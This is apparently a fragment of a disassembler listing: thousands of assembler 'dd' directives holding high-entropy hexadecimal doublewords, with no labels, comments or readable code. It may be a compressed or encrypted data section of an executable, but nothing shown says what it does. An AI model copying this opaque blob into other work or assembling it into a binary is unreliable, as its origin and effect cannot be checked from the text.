		dd 0E8058306h, 1620D9F0h, 5F94023h, 0A441A18Ch,	0BA439734h
		dd 8C984822h, 8652820h,	978BF995h, 0F0820A0Ch, 0C4DF1491h
		dd 0D308105Ah, 1D6B3E70h, 803D11C4h, 0C7FD6F40h, 93352D8Bh
		dd 0CB913817h, 0CCBB5880h, 0F772C2EBh, 0C82FB4B0h, 7D8CC1A0h
		dd 92306430h, 3CE726E4h, 4046740Ch, 0AAD4EF00h,	0FBBC8B45h
		dd 734A7AECh, 8B003C6Bh, 0F79165D8h, 7017FC7Dh,	0BC5034DDh
		dd 0DC8B4A80h, 94C7CDC8h, 0E9BD7C0h, 0EAFD0082h, 5F7C34CCh
		dd 0D92EA0EFh, 0F7448866h, 0A020B8F1h, 43900523h, 0E04FF215h
		dd 34535A08h, 30CFA2C0h, 0D602E1B3h, 5283C6E5h,	2154C0A3h
		dd 4779C144h, 5071FD76h, 0A1372D94h, 5480E100h,	55E685B1h
		dd 0FBE3268Ah, 296C2C29h, 5377134Ch, 0C8B8CB1Ch, 4D23C03Fh
		dd 0B7486A3Bh, 98D42488h, 46765C2Ch, 28000D1h, 0E9A20C2Ah
		dd 40970168h, 0DBBBF533h, 10DC79B8h, 7ACC55E1h,	0FE302341h
		dd 72F990Eh, 38CC5DD8h,	0A6F01F09h, 215A24A3h, 98B0917Ch
		dd 0B403B7EEh, 19016A28h, 89C0DFCDh, 25709482h,	0BC5A32F1h
		dd 0E8763920h, 1641CC1Bh, 9042D918h, 73F03082h,	61041469h
		dd 96F9ECDBh, 31D61B8h,	49C0E2CAh, 912ADC53h, 2C8F06Fh
		dd 0C3F61B3Fh, 7482B923h, 506627C1h, 5001575Fh,	6FE7E99Fh
		dd 83109832h, 50152676h, 2814E208h, 3141300Ch, 0E41893C1h
		dd 0E0806D82h, 955C526Dh, 40B01455h, 274A0A78h,	4E02857Dh
		dd 7D73A256h, 0F42440CFh, 48EF59C3h, 0DC90B47Ch, 982DC609h
		dd 914D1DFh, 2A8EB340h,	5ACDF181h, 96199819h, 4AF37C39h
		dd 1ACA2E5h, 0A3E2AC86h, 72DDF912h, 409474FAh, 75265C7Bh
		dd 0B6B33300h, 7722E2A8h, 0EE8028A4h, 6B892AA4h, 1C5A3080h
		dd 1918D369h, 3C982A2Ch, 2F22AA60h, 0BAE77DCh, 9DA27708h
		dd 4884444Ah, 0EC354414h, 0FDF11089h, 0D458D079h, 5A8C66ECh
		dd 1E5C1686h, 8BF504CCh, 9D38D29Fh, 0F00360C1h,	0F5B714Ch
		dd 6B23D83Bh, 0D100201Fh, 803D986h, 79E4A1A3h, 95C9E919h
		dd 88E4A2F0h, 0ABD780CAh, 47C613C9h, 31A2FB05h,	50C8926Fh
		dd 10785C4Bh, 0EDC3DB12h, 195040A0h, 0A4DEE33Fh, 71625CF3h
		dd 81187497h, 0DFC6E9Fh, 28202B25h, 0A731Fh, 0A11EBEC6h
		dd 9F184067h, 72328804h, 0B4A5B66Fh, 0AB94202Fh, 2972D8A7h
		dd 9600EFFEh, 494D5536h, 90679D90h, 341926C0h, 9C486B34h
		dd 910D8BA0h, 91F3C602h, 4C4488F0h, 4B2EACF4h, 0A917BED0h
		dd 79684875h, 0B2430B80h, 13C8F386h, 80F998EDh,	0F78BF63Ch
		dd 0EF09709Ah, 0F3D95B50h, 0B66646Ch, 901C989Eh, 44985DF7h
		dd 3A0FF948h, 6803F0Fh,	87A69226h, 1C2B1C30h, 267D8AD2h
		dd 853407DCh, 8E3E9E9Dh, 0CF4088B0h, 17D29340h,	0D800F90Dh
		dd 50052C94h, 5A64419Ah, 0C5702263h, 29921921h,	9E6B2190h
		dd 4CA3D513h, 2E3063E2h, 330E825h, 0FF3EE27h, 32FF4305h
		dd 0C08F6907h, 70855D48h, 490A78Dh, 257E5FCh, 4196B2D0h
		dd 48A47A18h, 4F834BBh,	718C62ACh, 0AF100EA8h, 9B01FC4Dh
		dd 7DF13377h, 3ADE00D8h, 0BF8561A0h, 42F5001Bh,	9B655D74h
		dd 41419D68h, 4ADF9060h, 97848290h, 2D9AA8B9h, 947E0918h
		dd 0B68713Bh, 181A0D8Dh, 9D123844h, 0D0BCB849h,	83C88842h
		dd 419CA282h, 4605E5Ch,	81784A92h, 28CCF73Ch, 0AC328860h
		dd 80871114h, 8FA3569Dh, 58209E9Eh, 563EA549h, 1E4BBEBFh
		dd 0A0424E7Eh, 16CB3F1h, 589691DEh, 840B774h, 0E98090F6h
		dd 0C521E806h, 7EE9882Ah, 6DF390BAh, 5BFF300Bh,	0F03318E1h
		dd 0BD976A9Bh, 0A4A00068h, 8ACDDE0Ah, 48988948h, 0B1F7C03Ch
		dd 0E6B7075h, 25921830h, 0FF898241h, 16E0502Fh,	0B8DD100Ah
		dd 9C040F91h, 0C2AB865Ch, 0F051A224h, 6076E428h, 4692B144h
		dd 28892612h, 8B4241E4h, 0C0D2232Fh, 16373120h,	0A68DC3F2h
		dd 0E8384C78h, 0A0078E5Dh, 20FEE096h, 0FC7E41BFh, 646C1198h
		dd 9A72A412h, 0FF9BC0F4h, 4D10949h, 2DA0FBA5h, 3FA0A40Ch
		dd 163FCF41h, 888CCBC8h, 43A7C064h, 8B029B4Dh, 0C6185C0Eh
		dd 141052F9h, 0A47CE78Fh, 0BE88B053h, 9BAA4481h, 0BC41C64Eh
		dd 18025D1Fh, 12879C41h, 91A897CCh, 8AB58268h, 0DFB040B8h
		dd 0E07682C2h, 0EF271211h, 3067F468h, 3B6DF900h, 83BC7D75h
		dd 8B3C9EC5h, 0F0941351h, 61308D7Ch, 19FF1839h,	7D3305C9h
		dd 0ACB4E732h, 0F4F24AB8h, 1308FF10h, 0D0887AACh, 91F008Ah
		dd 0FB6AD84Dh, 0A3018F3Fh, 0F37BB382h, 0D197ED02h, 0F88C205Bh
		dd 481E34D2h, 4E3FF376h, 15D6BC40h, 0B7E2FBh, 1B13F8C9h
		dd 4ED6EB0h, 81B8A348h,	846FD97Eh, 5474C2D6h, 6B465E1Ch
		dd 0D2FDCC00h, 262B7F0Eh
		dd 0F51232EEh, 0F0F08FBBh, 21165A47h, 26CC6854h, 0E09BE380h
		dd 23AD8DBh, 938E7C33h,	74780BFFh, 0C01C9501h, 91BA2575h
		dd 14D1E4h, 0F3854708h,	5B21FBFFh, 202C07F0h, 0F986D0D8h
		dd 90B423h, 7F13ED6Fh, 0CA5BC2F8h, 45B540CBh, 6562E480h
		dd 9550E687h, 65E5Ah, 0E2FF43A3h, 3FCEE958h, 9CCC5Dh, 789D5DEDh
		dd 27F5E606h, 24519614h, 155B248Fh, 680C00E0h, 0E8574B31h
		dd 25F17C4Ah, 0C4F98A3Ah, 459E2C00h, 2DF3DBCh, 0B7CB6EA5h
		dd 85C331Eh, 2CD83F08h,	0C093000Ch, 362E160Ah, 0F10B0102h
		dd 0E8B727E3h, 887898ECh, 574ABBD4h, 62E2B090h,	0D1FD006Fh
		dd 954372B1h, 5005A78Bh, 0F935BAC7h, 16BF7088h,	984DFE1h
		dd 84DE795Ch, 0D3A4E440h, 985300E5h, 0D6A6C4DDh, 36003354h
		dd 0AA520B70h, 4A2EBD8h, 9D78899Fh, 6E4C8074h, 0EFEE4BBAh
		dd 47819801h, 8A701E0Dh, 5068203Bh, 80801061h, 1034B6F8h
		dd 75F40942h, 79507163h, 12518D1h, 0B55B527Bh, 0C42F336Fh
		dd 0A09796BEh, 0F5E2E864h, 1CB80035h, 37A51DACh, 711FA887h
		dd 3C5748EDh, 81911C49h, 0B31C7BD0h, 0ACC0203Ah, 0B9001F0Dh
		dd 0E19E5DA7h, 4A0EB39h, 2DFF3A1Dh, 0BC049387h,	987663EAh
		dd 30F79402h, 767042BDh, 0D0465E88h, 0B9AB8200h, 0F8B7F58Ah
		dd 0D0E75712h, 3B955081h, 9A1DC0h, 6F3305B3h, 15CFB65Bh
		dd 8C28649Bh, 507800Bh,	0C7008A2h, 55514304h, 8125B0A8h
		dd 1379B840h, 0C8371581h, 926B20A0h, 0E770860Fh, 0D90661EEh
		dd 76F8279Eh, 6D1418BAh, 3BBA0FBh, 50B41E58h, 4B5A7710h
		dd 68C8348Eh, 2A3470C0h, 2E330043h, 407BA379h, 0B498FBDBh
		dd 8E58F578h, 0C07F2E10h, 1431CC2h, 6E0B0935h, 8AEC0028h
		dd 3E79E471h, 59098018h, 5A9561C1h, 84E60058h, 53FE8360h
		dd 1E0E3F6Ch, 40A44BCDh, 0E6A91080h, 95362C11h,	0F71847ACh
		dd 0B44C02A7h, 0D237F0E1h, 494020Bh, 7B284961h,	0F46E3Ah
		dd 3304DA49h, 262C3A4h,	5CE21829h, 7878148Eh, 10C6120h
		dd 9CA2F780h, 3276C449h, 0D11427FCh, 0BC7C00FCh, 9D03C29Fh
		dd 551E9900h, 23E99CFBh, 7330C75Fh, 0FFE1D243h,	638B058h
		dd 74405E24h, 4FF022B2h, 0CF34011Ch, 573F1FDh, 42F2B2Dh
		dd 0AA016A23h, 0E4DF2A15h, 9F09F86Ch, 0C440B7E9h, 9D0C6273h
		dd 99723FF1h, 7E7F3E41h, 0A580C8C9h, 0B29CABC9h, 0D5C03099h
		dd 714C9ADh, 5970CAF8h,	36A02E7Ah, 37DBF53Ah, 9B071C94h
		dd 4F88998h, 0EB6FBB80h, 7105AC4Bh, 0B3513F4h, 74E173E0h
		dd 0E083129Ch, 9663EF90h, 0B8A6442Ch, 8C68F85Ch, 47CA9B1Eh
		dd 0D817BB0Bh, 5E68BC5Ch, 0D0EA18F3h, 9F81DCA8h, 2EB8F791h
		dd 0C3F58041h, 3834D223h, 82FD5A98h, 0C0C51524h, 706167E4h
		dd 9989CC6Dh, 23183862h, 173851F6h, 901D10FFh, 0DBCD8E04h
		dd 0D8D8F04Fh, 7325A112h, 4488A8CBh, 61E828C0h,	24A07915h
		dd 9D35D0Ch, 0A4E49571h, 2AF7E202h, 6176C788h, 41836E20h
		dd 6FFCA57Dh, 0B0942900h, 0AB1202B8h, 0D4CB01AAh, 9C64C670h
		dd 958FC8C9h, 8F524Eh, 0E7C03E88h, 9DBB3A1Fh, 0F94FD8C3h
		dd 5980AC25h, 12679033h, 0F0839475h, 38EC9D24h,	0A400895Bh
		dd 76971D87h, 5ABD14B1h, 294C4078h, 2445932Fh, 0A9606AE4h
		dd 0C324254Eh, 4A097D2Ah, 905C0215h, 578F0F1Fh,	7AA7BF60h
		dd 744C20FBh, 43AC14B0h, 8C45F884h, 0EABCA101h,	0B13D9A76h
		dd 20EFBAE4h, 4900167Ah, 7C4EF183h, 24829B17h, 60BC0DEEh
		dd 3F1EDCDEh, 61F63608h, 0E217027Eh, 34F49647h,	4CC24A12h
		dd 90782B45h, 111A18C8h, 3CB24FCAh, 0C01D4E3Fh,	0D9DF407Bh
		dd 0E56CA6DEh, 0D228C61Fh, 51FAED00h, 189EA1E4h, 689343E9h
		dd 7F5E0232h, 0C300EC6Bh, 8EA47C70h, 3D012975h,	93896FF8h
		dd 81C4F4FFh, 6C804C43h, 0A730EABDh, 88D34F91h,	700C220h
		dd 955A0602h, 0BF0A6A87h, 8042AC82h, 2A5844F3h,	0F4B60083h
		dd 901E70EFh, 9F1D159Dh, 0E0AFF72Fh, 1457C4Ch, 7F7841E5h
		dd 0DAA43EEDh, 0CC7A69E2h, 2EFC2449h, 472799FDh, 606864F4h
		dd 0A46FD2Fh, 2841E4A3h, 0F7CE84FCh, 6C5CED14h,	9236CAD9h
		dd 0A7E4001Ch, 59EB7ADAh, 13EBA14h, 0DFFB81C4h,	97E1A234h
		dd 6801983Ch, 5FD9F6FDh, 1072E681h, 78FAE1Fh, 40C0629Ah
		dd 847A5C04h, 0FF56F896h, 0C6008D18h, 1AB5E262h, 90897327h
		dd 701704BCh, 2150C8Ch,	68A948FBh, 990947C4h, 1844F93Ch
		dd 0F6760069h, 45072CCh, 0C4013BE1h, 34BA0FC3h,	6462CF88h
		dd 0DE70887Bh, 86313378h, 5B11807h, 20E26F03h, 2C040904h
		dd 2FAC0107h, 346810DFh, 62D88F24h, 4402A91h, 8E01FBE9h
		dd 7A93E17Eh, 0FEE84F3Ch, 260200FCh, 0F083E495h, 4E5BD470h
		dd 831D60D3h, 44614CB0h, 7B8C69E8h, 0ED0C12ADh,	0FC4CF450h
		dd 11002058h, 8F0963FAh, 80E040EFh, 0C72F41A1h,	8C20C8B9h
		dd 74FD806Bh, 467CCCB6h, 79007D64h, 5D6328F7h, 0F2CC9B5h
		dd 2DF502F4h, 40CBFE9Fh, 0D4437CD4h, 7859FC9Bh,	6D490798h
		dd 518C9E71h, 0CFC316F6h, 2D74C3C0h, 0F04440E6h, 0E3F13A32h
		dd 0FB20E0B0h, 81B7A9A0h, 42B096B4h, 45E25823h,	177C830h
		dd 8172E86Ah, 703F8F33h, 5B4030D4h, 410CB02Dh, 0AC90FE7Ah
		dd 8F977807h, 59F88994h, 19049A48h, 7344B802h, 0EC25BC40h
		dd 0E54D503Ch, 1844FBB1h, 7C03CBB0h, 0F820F9F3h, 0E915EF74h
		dd 164B854h, 0DAE2855Bh, 306F884Fh, 5262506Ch, 0F9F9F480h
		dd 2F342890h, 0CC0EB8Bh, 455FA09Bh, 7D9E8800h, 52B6B72h
		dd 0C2D42E0h, 3B20A22Ch, 19530039h, 0AF656481h,	94BF7C96h
		dd 58876318h, 0F7CF6CC0h, 2C8B3B4Ah, 0D1C0D0C8h, 7AA210h
		dd 9252EA9Ah, 2BE1C229h, 4E122CBEh, 37B874B9h, 546A0F00h
		dd 0FE7E635Bh, 0FCBA13C9h, 0D50447E2h, 17C5E3h,	0F37BA188h
		dd 702DFBF7h, 8BB4E854h, 2A89447h, 0FB9A0EFh, 135A801h
		dd 1605A3E8h, 4074F408h, 0D3F2FD1Ch, 8B2DF18Ch,	0B2D48046h
		dd 4E6041A0h, 0EFC402A7h, 0B0FE5h, 89F543DEh, 92E6D3h
		dd 0B9D12F1Ah, 0F02109DCh, 968E6816h, 0BA1034B9h, 628D0182h
		dd 5C85AC8Bh, 11045033h, 0A6B8A902h, 0F0B02DCh,	0D5594C41h
		dd 0E40C3890h, 2598EF80h, 4C41AF8Ah, 371097F8h,	39112F18h
		dd 11F5209Ch, 0F4697E60h, 0B5D39BABh, 0D6898AFh, 787BB389h
		dd 55850B40h, 54E1153Ch, 36E05160h, 74886BEEh, 0F0984F1h
		dd 6B7B48E7h, 8A41F494h, 2C5B57FFh, 0B0A99640h,	5FAC201h
		dd 2F0CE806h, 0E99D0801h, 1C438557h, 8C20D437h,	0D8801844h
		dd 808B0194h, 0AC4196FBh, 6198AF78h, 18631E44h,	419A2B02h
		dd 20F169F0h, 3D082E0Bh, 0A1C80F4h, 0FDC6258Bh,	0F660BC96h
		dd 4F3FE3FAh, 0C10822E4h, 0E4C8C52Bh, 60DE6041h, 10E7004Bh
		dd 0F9A176DFh, 3F5E0C1Ch, 4188C48Eh, 89E4BBC0h,	881B00BEh
		dd 5FD8312Dh, 49259E9Ah, 945058B3h, 3D465E74h, 0A8E42F25h
		dd 0D0004F72h, 467B2995h, 2DAE88h, 0BF340C70h, 32FB57A2h
		dd 92DF2E02h, 55F94822h, 3CAB4C99h, 30FEBD8Ch, 0C7FE8A01h
		dd 3C0408FCh, 53BBF357h, 0DA00ECECh, 465E81C3h,	5800E872h
		dd 0CFDB64Ah, 273D5B96h, 84456D3Eh, 3862CAE4h, 936C90DFh
		dd 0F89F7B05h, 1066B582h, 94B38A5Ah, 13F1BD0Fh,	33060030h
		dd 5B3A2C98h, 72C02C82h, 0CD467618h, 5B77B30Eh,	0FE3B0013h
		dd 20953FEDh, 32CCE001h, 166B916Fh, 2B802C2Dh, 9DD93754h
		dd 26F50707h
		dd 0DD0E80D5h, 6A423512h, 83F48D9Ah, 83F790D4h,	33C004CEh
		dd 128C4C49h, 0A51028BCh, 0EF9F0810h, 5300BF64h, 4868596Ch
		dd 0E690C36Eh, 0E20C6A00h, 0C8320212h, 94F44823h, 0A30BBE20h
		dd 72BB7F74h, 0F69B64E0h, 970CA3Ch, 0D815717Bh,	8023FFA4h
		dd 5B303DA2h, 98072592h, 0C16C0800h, 0C6124811h, 0D4357EFAh
		dd 45ACBCA8h, 0F18D1C8Ch, 0B3754082h, 0FD36E62h, 6168DF25h
		dd 14215C14h, 5EBCB438h, 0B73008Ch, 0C0AE02B2h,	890EABBAh
		dd 21BBF1FDh, 0DAF99C90h, 3A30DC24h, 70604FFFh,	0E3BBF58Bh
		dd 20C1E64Bh, 0F0648696h, 5C0A40EEh, 0CA8BC418h, 0F068FD20h
		dd 6E692D1Dh, 4BA807Ah,	0F62E7790h, 176B68A2h, 80CB1104h
		dd 0AD78590Ah, 5D4812EDh, 7578920Ch, 0BC750Eh, 19574587h
		dd 25A0B166h, 0D08533F9h, 0B4CE292h, 7C0FD5C1h,	0BF3788D0h
		dd 9251430Fh, 12AFD4F0h, 0F812ED6Eh, 38E25B28h,	0DBC28500h
		dd 73DFFEA9h, 8CC82303h, 2D46606Eh, 80E03460h, 9178A890h
		dd 0B787449h, 4C6F3B8Fh, 14E0B7B0h, 0BA900396h,	89B80BB7h
		dd 16646400h, 0BC6FEA1Dh, 0FF9406A0h, 9850BAE6h, 0F0BF4488h
		dd 6091135Eh, 8849FB2Fh, 8F046C22h, 0B460E4DFh,	0B8403300h
		dd 20F8F812h, 0EE44B0CAh, 2B922519h, 159980A3h,	0BC9EB174h
		dd 9E5E27D6h, 9D0A8866h, 685F6FE1h, 3B77208h, 5D7BF9BDh
		dd 0A7BB08E4h, 5DE46065h, 1BF81A60h, 3DCD240Fh,	730E2C6h
		dd 4248DE58h, 8A016903h, 4701C4Ah, 0C341C073h, 4833045Fh
		dd 0DC95EF15h, 0DF5904A0h, 8B047530h, 0AC14E914h, 93980E99h
		dd 0D5A052B0h, 6F5C4EBEh, 68D4FC12h, 3171AC88h,	7039739Bh
		dd 0C562E95h, 613C500Fh, 0C5437BBEh, 11B451D2h,	0DBF6059Dh
		dd 34B0C67Fh, 0A1D2C6Fh, 8C7B258Ch, 2AC18473h, 52E30F7h
		dd 0C1350524h, 42725C1Dh, 1055DB84h, 8C18BCh, 0CECA321Fh
		dd 0A04A08CBh, 0C67DB216h, 50E98B16h, 0CEECFD2Eh, 0E1846108h
		dd 0C85098E3h, 0ED15D484h, 0D1B280E0h, 0DEF97Dh, 0B3BA8921h
		dd 7BAE6DBCh, 0EE6F2701h, 3392180Ch, 9928447Fh,	7C484BCCh
		dd 8644C874h, 0E16BFF8Fh, 4C493BF7h, 0B6A8E897h, 70EF007Ch
		dd 0C058149Eh, 7709F0A7h, 57568B4h, 0ECF85BC0h,	0C2EE831Ah
		dd 801E4CF8h, 0F50BFBE8h, 110C7209h, 16571F7Fh,	0C0A353FAh
		dd 0E43045E2h, 0F83800FBh, 2D40690Eh, 1491F03Eh, 0AEEC8A0Eh
		dd 44456BA4h, 0AD4B120Ch, 4300AA1Fh, 358F8AA6h,	2284095Dh
		dd 6C7E8667h, 0E889A143h, 83D96Dh, 0C9E65DA6h, 0F51A28F0h
		dd 0EFEEA40Ch, 4B6972h,	3A6744Ah, 75BE6D48h, 27B660Eh
		dd 449CA595h, 0BAC4D8h,	472CDB1Fh, 0AC85C553h, 87B37800h
		dd 8D9C586Fh, 933500A3h, 86DF447Bh, 42B7A68Fh, 99638298h
		dd 403854CEh, 0AEE3D69Eh, 2065472Eh, 0F4A5BC13h, 39506B3Ah
		dd 0A4D6000Ah, 22902995h, 9134A0FFh, 0C9AC16DFh, 89A4EDB0h
		dd 5C187473h, 0F7073E46h, 84962977h, 0F254E2F8h, 0FC7C3066h
		dd 12C19812h, 8A0080F9h, 0ED08D79Ch, 0B7B5A60Fh, 84B000E4h
		dd 0FAFD7BC8h, 0F3F0270Bh, 81E4DEBBh, 777D70F5h, 0BC483B1Bh
		dd 49BD87CDh, 61ED8F8h,	26D4DC48h, 41FF055Ch, 854134Ch
		dd 8101C24h, 0A307C017h, 3168B294h, 44DC30F0h, 50C4BDh
		dd 0ED1A6396h, 0E8A193CDh, 0BAE21812h, 0C9F0280Bh, 2FCC6EB4h
		dd 5236485Eh, 6B71FB04h, 48D88024h, 0FC814035h,	6F189C3Ah
		dd 0E4206889h, 0F636407Dh, 0B06BBB26h, 4932A382h, 56C050ECh
		dd 0A6E1C073h, 4861FA94h, 0B7E1100Bh, 51302E1Eh, 0FC1DA700h
		dd 7580CA91h, 9B5BF99Dh, 566010BAh, 0B96C4151h,	3C249232h
		dd 4F1423C9h, 70840C14h, 0E826EB89h, 8C82BD0Eh,	1044C3D6h
		dd 4BF430D0h, 66B21CA3h, 24046430h, 1418F267h, 9E0938EFh
		dd 1200220Bh, 438F95A0h, 64D46797h, 0D2C06041h,	8A7A74h
		dd 5C27C36Fh, 419CA1DDh, 0A19F5FF6h, 0B0D54390h, 14E98C11h
		dd 97CC20ABh, 0B1C03C4h, 0A4007A49h, 1402F317h,	0F54E265Bh
		dd 9BB2C474h, 0EF47C0C4h, 42DA230h, 386C6271h, 0E003BF52h
		dd 38830291h, 0A44EDF40h, 5C304950h, 3588C060h,	0B47E09FAh
		dd 5498A091h, 574C2089h, 51605038h, 5B8B0944h, 0B6AC170Fh
		dd 587CE018h, 0FC8E2E04h, 0F7430137h, 71A3D360h, 443E7B60h
		dd 0A4005F23h, 0A190B377h, 75E50BADh, 7483C68Ch, 0F6AA25A0h
		dd 7E8B505Eh, 5A14485Ch, 5E2900C7h, 1A726746h, 47F0E05Bh
		dd 0E34B3C90h, 6ED8F440h, 0EE6DB03Fh, 0C08D746Fh, 22AC279h
		dd 1095AAF0h, 0FA0620A0h, 0A3744AF4h, 30CEB2C4h, 0B7EC0261h
		dd 1A2D292Dh, 8CE0C0F4h, 0FA9EF20Ch, 40A09C79h,	0C13A14B8h
		dd 52620100h, 0E7CDDA75h, 1FA500A2h, 0E237FAD5h, 904F7278h
		dd 7306CA4h, 0F18BB2A3h, 0E88836E3h, 0B1A0EF0Bh, 0E5A4E09Fh
		dd 0A960E95h, 77C03132h, 0B5DE3AF9h, 934A9B16h,	22FB2CA0h
		dd 0F24B0CCh, 602CB8EDh, 98CF2EBEh, 44AC1F64h, 0F4013D2Dh
		dd 28604197h, 0C61278D4h, 0DCE2801Bh, 9C191C43h, 38DB307Bh
		dd 0C64F7C2Ch, 0A804F8B0h, 9A974D0h, 3F079270h,	4C9E6C50h
		dd 9A330660h, 95C81441h, 2B89383Dh, 3A2D48D4h, 755C614Ch
		dd 7D01E02Ch, 599E919Ch, 92982430h, 0F9F8F730h,	0B62D7A9Dh
		dd 10DB7064h, 2040E444h, 475B0C75h, 6ECAE4D1h, 0D9E294D1h
		dd 97535484h, 90222870h, 0AA427080h, 6832785Bh,	13B0D19Fh
		dd 0E080B6CAh, 0CC699C7h, 0B6FBBBCBh, 74E8D68h,	6BC8688Bh
		dd 0EAFCF9C0h, 0AA7801ADh, 929EA883h, 0D887D977h, 1D07BF91h
		dd 174DC8CCh, 0F2C2606Eh, 184B9B7Eh, 209235EAh,	85002994h
		dd 0C23DF407h, 5C91CDFFh, 1274F452h, 0D2438A34h, 0EE80F134h
		dd 33F6771Bh, 4A9E7E00h, 0AAD17B92h, 11B607DAh,	0A025AC02h
		dd 65A49303h, 3C5CAB09h, 0F8ACC00Dh, 849397A9h,	0AEC8A7E8h
		dd 374A0B0Eh, 0D0054056h, 4B7FE539h, 0C87C8B9Eh, 3CD4C0CBh
		dd 0ED09E439h, 90411950h, 83BB7FBCh, 0B39554E0h, 0F0684340h
		dd 2CDA3EA9h, 3E003040h, 7892FE67h, 190DF6DCh, 0B17C6EB9h
		dd 9960707Dh, 0F5D8A095h, 3BC7B83Eh, 0F727362Ch, 175F2C58h
		dd 20620CA1h, 4F68A007h, 8A6F6164h, 42D025CCh, 28B47C40h
		dd 4082BF5Fh, 19289C18h, 5874C96Bh, 402D8Ch, 3AB8CBECh
		dd 743ECA24h, 0F9C62E0Bh, 68924070h, 0FB146CDCh, 0F0405665h
		dd 4AC6023Ah, 7DC840FAh, 0DF42D8Eh, 779DA106h, 7571FD4Eh
		dd 0C906F642h, 0D0114628h, 0C23C5A0Ah, 7013F436h, 3BC21758h
		dd 9D60B5E2h, 3429CA30h, 0C00B5D79h, 8E1DF38Bh,	18ACEA28h
		dd 0D175FCA0h, 227EC7B6h, 0B80EF502h, 88DF969Eh, 35F1BC48h
		dd 98710C1Bh, 24C16120h, 408BF08h, 93B7F535h, 39A6F164h
		dd 658B7039h, 54088361h, 7494225h, 0C220FB00h, 0E9F86022h
		dd 1703897Fh, 4991A91Fh, 0E1198E4Eh, 40C19593h,	57091A8h
		dd 0FD02CFCBh, 0D030857Ch, 0B2D9760h, 0A753ED7Ch, 0BC432920h
		dd 0D4C8EF09h, 9C493FC8h, 44003059h, 97657A3h, 1496BFFCh
		dd 2A28FD02h, 5C15D774h, 98C3CFD0h, 1B34380Ch, 0B74531F4h
		dd 8CE28C10h, 185CE308h, 0DFB98816h, 185E8C82h,	0E4ED4074h
		dd 33103B62h, 0CD2A03AEh, 0B9C50810h, 11FC8319h, 0BF5401C2h
		dd 1FA2301h, 0C001E8FEh, 217C07C8h, 5B90406Fh, 0B6604362h
		dd 8F003F2h, 0E3C01010h, 8DC3218h, 0A480CA2Fh, 1FBB80E1h
		dd 918D28C4h, 6A6F904h,	4091E0CDh, 0A7403EECh, 30606258h
		dd 0C2039219h, 0AB10101Ch
		dd 951718F4h, 0CC64BA08h, 7E49E518h, 0A4103F62h, 0D59B03C7h
		dd 8D40087Ah, 2009624Ch, 5503CC9Eh, 1310192Bh, 189E9BDh
		dd 0BB013E73h, 0FA088C44h, 635A18D6h, 15F508CFh, 0B58C1810h
		dd 2AF34D10h, 1020A4B3h, 194F44D9h, 88305F66h, 0EAF62081h
		dd 3242E220h, 0EF0807CEh, 2410C0A2h, 602ECA4h, 5408E570h
		dd 0C6B1A4DDh, 10472E71h, 54A8F220h, 40B7BC52h,	0EF6230A5h
		dd 604AC08h, 83547998h,	11CC56D4h, 0A86FF1B9h, 0DF0AF4C4h
		dd 0C2C97110h, 4B10983Ch, 0C43D4471h, 4113B08h,	0AC045741h
		dd 0C5897E7h, 0B9C4D808h, 860455ABh, 27A304D4h,	8587806h
		dd 332F2120h, 9220C0BBh, 0CD23D110h, 20142118h,	0C081BBDCh
		dd 0BA84B18Ch, 0C381B7F9h, 59C29851h, 0F25D209Fh, 7848AD08h
		dd 0B09231DFh, 0C4C9C740h, 4DE3DE9h, 28062B7Fh,	203110D8h
		dd 385E08F1h, 2653188Ch, 30404208h, 0C0284057h,	6428E463h
		dd 490810ACh, 0E1B831AAh, 0D50137BAh, 957701D1h, 0F4A20202h
		dd 0C0EF2C8h, 408E1005h, 0F4A937FBh, 2C6992B5h,	180AF846h
		dd 20D42008h, 65335E20h, 4A92118Ch, 92D8A188h, 1CBC44F7h
		dd 0C1F20C8Bh, 3CEE4D55h, 463A7165h, 80B64ACh, 508C8354h
		dd 406A6540h, 0B5404EBDh, 3843408Bh, 418D4940h,	160F115h
		dd 520189B2h, 0FE8601D9h, 241D601h, 5288A4BFh, 0D0E08491h
		dd 0E7C1088h, 0CC17018h, 0E69A83F8h, 0C841CF05h, 0FD3EC49Fh
		dd 0A0F0D06Bh, 6F255187h, 378C00FFh, 3C073988h,	0EF01B102h
		dd 17C734B7h, 0DAFBEC94h, 5EDFD225h, 1C4D873Ch,	0D5F1307Eh
		dd 3B0911B5h, 5F9187ACh, 20922400h, 0B8B18F1Ah,	8E0098ACh
		dd 0CE861335h, 4149019Bh, 4D5B46D2h, 8C908004h,	0D4E1E3A9h
		dd 0FB6901E5h, 4AEFA103h, 0ED6C607Dh, 23F058C6h, 0BA050150h
		dd 45CDFDE2h, 9330E850h, 879F2C00h, 3113D803h, 3D950060h
		dd 506C0F32h, 3800C8F0h, 969D097Eh, 2A80D3Ah, 9597C773h
		dd 0C0F8FDF1h, 8355ED00h, 94E2AD22h, 1E37CD0h, 10DA8A43h
		dd 280B149Ch, 605C5Ch, 0CEC261B8h, 0B10C9294h, 0A04113ACh
		dd 1C03D8ECh, 0B97E9186h, 14FEE195h, 51C8F0h, 679AE1Ah
		dd 9F7094F7h, 5CC0A8A3h, 0E095E430h, 2CDAB4h, 2D7A9ED8h
		dd 31D9FCB2h, 0D1960DEh, 0D02F0B69h, 0FF65BB0h,	0ED1C0950h
		dd 8A3A197Ah, 340C7D4Eh, 8F38996h, 0CCE130FCh, 13EFA540h
		dd 0AAACB450h, 376FB9F8h, 5BCB0118h, 2475B68Dh,	0FCC39400h
		dd 0BDC60103h, 82CEFD10h, 4370E0E6h, 0F395640Ch, 5C0C0h
		dd 7D9FB987h, 0DFACFAFCh, 4EF850A8h, 47A9281h, 0B8F77D9Ch
		dd 44F61E04h, 0F1D01325h, 50898E61h, 0D0FA3887h, 0D019776h
		dd 855AE9F9h, 0B02D59C4h, 0EDF05E07h, 5471C1C1h, 5BD08678h
		dd 6205521h, 62123C95h,	0E67F511Eh, 14B50B02h, 81508829h
		dd 46C4FC08h, 87A45080h, 921D2849h, 8602E471h, 0F3556365h
		dd 5CA0850Ch, 0CC5EF440h, 8994AAh, 0AF92738Ah, 408B281Dh
		dd 4890064Fh, 2FD9347h,	1A0B01F3h, 68409BDBh, 5DF8AC7Eh
		dd 21EDD101h, 0AA85F05Bh, 0FC9FB883h, 402CADDAh, 12381A19h
		dd 0A0008187h, 6DA92A41h, 3888391Ah, 10AE00F7h,	5B668EA0h
		dd 938016C3h, 18E64887h, 0E4C910h, 9AA2077Eh, 249E2CCAh
		dd 40203B94h, 65480B78h, 0FD76CD06h, 1897D5h, 0B9C705AFh
		dd 0A8CFF07Ah, 0E4398C0h, 3A819279h, 5E027122h,	0C4A395BAh
